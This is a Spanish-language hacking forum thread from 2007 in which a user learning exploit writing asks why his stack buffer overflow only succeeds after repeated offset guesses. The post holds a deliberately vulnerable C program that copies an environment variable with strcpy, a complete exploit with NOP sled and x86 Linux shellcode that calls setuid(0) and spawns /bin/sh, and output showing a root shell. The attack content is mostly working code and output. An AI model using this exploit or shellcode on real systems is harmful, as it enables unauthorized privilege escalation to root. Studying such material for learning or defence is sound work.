Vota por nosotros en el ranking web que participamos

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Octubre 14, 2008, 03:19:26
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, [ E0F ] d0RkNet)  |  Tema: Duda con exploit 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Duda con exploit  (Leído 128 veces)
f0rk4d0r
Visitante
« en: Febrero 09, 2007, 07:15:31 »

Hi, estoy aprendiendo a hacer exploits, pero me he quedado bloqueado en estre punto..

Si que me funciona, pero no a la primera,. he tenido que hacer un shell script,. para que funcione.. Sabeis alguna manera de automatizarlo..

Este el el main

int main() {
  char buffer[1024];
  if (getenv("PROG") == NULL) {
    exit(1);
  }
  strcpy(buffer, (char *)getenv("PROG"));
}



Este es el exploit:

#define VULN "main"
#define NOP    0x90     
#define BSIZE  1024     
#define OFFSET 5688     


static char shellcode[]=
 "\x31\xc0\x31\xdb\x31\xd2\x53\x68\x69\x74\x79\x0a\x68\x65\x63"
"\x75\x72\x68\x44\x4c\x20\x53\x89\xe1\xb2\x0f\xb0\x04\xcd\x80"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x17\xcd\x80\x31\xc0\x50\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x50\x53"
"\x8d\x0c\x24\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

char *get_sp() {
   asm("movl %esp,%eax");
}
main(int argc, char *argv[]){
char buffer[BSIZE+8]; 
char *ret = get_sp()+OFFSET; 
memset(buffer,NOP,sizeof(buffer));

memcpy(buffer+(BSIZE-strlen(shellcode)-4), (char *)&shellcode, strlen(shellcode));

memcpy(buffer+(sizeof(buffer)-4), (char *)&ret, 4);

if(setenv("PROG", buffer, 1)==-1){
       printf("No se ha posido meter el buffer en la variable PROG.\n");
       return -1;
  }
if
(execl("./main","./main",NULL)==-1){
 printf("Error \n");
return -1; }
}

este scipt  le va pasando al exploit un numero incrementado:

>sh suma.sh
suma.sh: line 9:  4395 Violación de segmento  ./mio
25
suma.sh: line 9:  4397 Violación de segmento  ./mio
26
DL Security
sh-3.00# id   <<----  Si que funciona pero al 26 intento pq???
uid=0(root) gid=100(users) groups=16(dialout),33(video),100(users)
sh-3.00#
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  Bug y Exploits (Moderadores: OzX, [ E0F ] d0RkNet)  |  Tema: Duda con exploit « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.6 | SMF © 2006-2007, Simple Machines LLC